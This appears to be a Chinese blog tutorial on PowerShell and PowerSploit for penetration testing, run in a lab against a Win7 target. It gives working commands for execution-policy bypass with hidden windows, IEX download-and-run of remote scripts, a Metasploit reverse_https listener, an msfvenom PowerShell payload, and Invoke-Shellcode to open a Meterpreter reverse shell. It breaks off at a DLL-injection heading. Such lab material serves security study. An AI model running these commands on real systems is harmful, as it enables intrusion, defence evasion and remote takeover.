PowerShell 及 PowerSploit 脚本攻击

10 篇文章 1 订阅
1 篇文章 0 订阅

PowerShell 技术

对于渗透,使用PowerShell场景:

第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令

第二种我们已经到了对方网络,或是一台DMZ的win机器,那么我们利用PowerShell对内网继续深入

常用的PowerShell攻击工具:

  • PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
  • Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
  • Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
  • PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。

     PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。

基于.NET框架 操作系统信任 提供win系列操作系统的几乎一切访问权限 win7之后默认安装 脚本可以运行在内存中,不需要写入磁盘 cmd.exe通常会被安全软件阻止,一般PowerShell不会

启动PowerShell

第一种 win+r启动运行下输入powershell进入

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16

 第二种 cmd下输入powershell进入

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16

 查看版本 :

1、使用 Get-Host 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16

2、使用  $PSVersionTable.PSVERSION

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16

 使用Get-Host 显示的信息比 $PSVersionTable.PSVERSION  更详细

执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。我们可以使用cmdlet 命令确定当前的执行策略

  • Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。 Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行;
  • Unrestricted:允许所有的脚本执行

另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行

管道:

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

例如: 假设停止所有目前运行中的,以“note"字符开头命名的程序 Get-Process note*|stop-process

dir:查看所有目录

文件操作类的PowerShell命令:

  • 新建目录test:New-Item test -ItemType directory
  • 删除目录test:Remove-Item test
  • 新建文件test.txt:New-Item test1.txt -ItemType file
  • 新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
  • 查看文件test.txt内容:Get-Content  test.txt
  • 设置文件test.txt内容t:Set-Content  test.txt  -Value "haha" 给文件test.txt
  • 追加内容:Add-Content test.txt  -Value ",word!"
  • 清除文件test.txt内容:Clear-Content test.txt
  • 删除文件test.txt:Remove-Item test.txt

绕过本地权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16 绕过执行策略执行PowerShell脚本

    如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式

  • 1.绕过本地权限执行
  • 2.本地隐藏绕过权限执行脚本
  • 3.用IEX下载远程PS1脚本绕过权限执行

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop  test.ps1   输入命令执行后会退出命令提示符

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16

用IEX下载远程PS1脚本绕过权限执行

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5L2Z56yZLic=,size_20,color_FFFFFF,t_70,g_se,x_16

PowerShell命令参数说明

 对上述命令参数进行说明 ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;

  • WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
  • -command(-c):执行powershell脚本; NoProfile(-nop):
  • PowerShell控制台不加载当前用户的配置文件;
  • NoLogo:启动不显示版权标志的PowerShell;
  • Nonlnteractive(-noni):非交互模式;
  • Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
  • -enc  base64: 把ps脚本编码成base64来执行,实战用的最多;

PowerSploit 

    是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。

PowerSploit下载地址:https://github.com/PowerShellMafia/PowerSploit

  • ActivirusBypass:绕过杀毒软件查杀
  • CodeExecution:在目标主机上执行代码
  • Exfiltration:目标主机上的信息搜集工具
  • Mayhem:蓝屏等破坏性的脚本
  • Persistence:权限维持
  • Privsec:提权等脚本
  • Recon:以目标主机为跳板进行内网信息侦查
  • ScriptModification:在目标主机上创建或修改脚本

下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使它可以通过HTTP访问到

 安装 PowerSploit

1、在 kali 里安装 PowerSploit

先输入git clone https://github.com/PowerShellMafia/PowerSploit 的命令下载程序目录

955ce9219be74a27a95035632085900d.png

然后输入 service apache2 start 命令,将 apache2 服务打开

f4d14a333d3a4b7f84b1112f08b69feb.png

接着使用 mv PowerSploit  /var/www/html 命令,将下载好的文件移动到 var/www/html 目录下,或者使用剪切、复制的功能也可实现

3bca65a5ecb0426b91edfbef05609ff5.png

然后在 浏览器输入本机IP地址 或者 127.0.0.1,查看apache 服务是否打开

ccfa324bfb4b47178cab3d82525e4909.png

最后在浏览器输入 本机IP地址/PowerSploit  或者 127.0.0.1/PowerSploit,查看服务器是否搭建成功

1c7927dc96314c13bec4117655b20d45.png

 2、PowerSploit 脚本实战

1.直接执行 Shellcode 反弹 Meterpreter Shell

Invoke-Shellcode脚本

先使用 msfconsole 命令进入msf ,然后在MSF中使用 reverse_https 模块进行反弹(设置监听)

6b4daf373a2340fbab6f08dbc3a376dc.png

2.使用 use exploit/multi/handler 命令设置监听,依次输入以下命令。(设置完成后退出到 root 目录下)

use exploit/multi/handler

set payload windows/meterpreter/reverse_https

set lhost 192.168.5.25

set lport 4444 

8e86be7eb208409dbcee80499464d3f2.png

 3.使用 msfvenom 命令生成一个 Power Shell脚本木马

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.5.25 LPORT=4444 -f powershell -o /var/www/html/test

1b4fd737490e4638a6f5f98ebaa992f1.png

 4.接着在目标机中 PowerShell 下输入命令 下载脚本(这里我用的是win7镜像)

IEX(New-Object Net.WebClient).DownloadString("http://192.168.5.25/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

ae3c99e4f1844b09aeaadbde7e46e797.png

接着输入 IEX(New-Object Net.WebClient).DownloadString("http://192.168.5.25/test")  下载木马

7539e559b6624620b5a8786c3c1c476c.png

然后在 powershell 下输入 Invoke-Shellcode -Shellcode ($buf) -Force 

force:不用提示,直接执行 

65fcc7a32b3b4cafb14b4969615b552d.png

 然后返回 kali的MSF 监听界面,已经反弹成功

da43b7729eac420eba1551aa52a9efe8.png

 2、指定进程注入 ShellCode 反弹 Mete人preterShell

Invoke-Dlllnjection

 

 

 

 

  • 6
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

余笙.'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值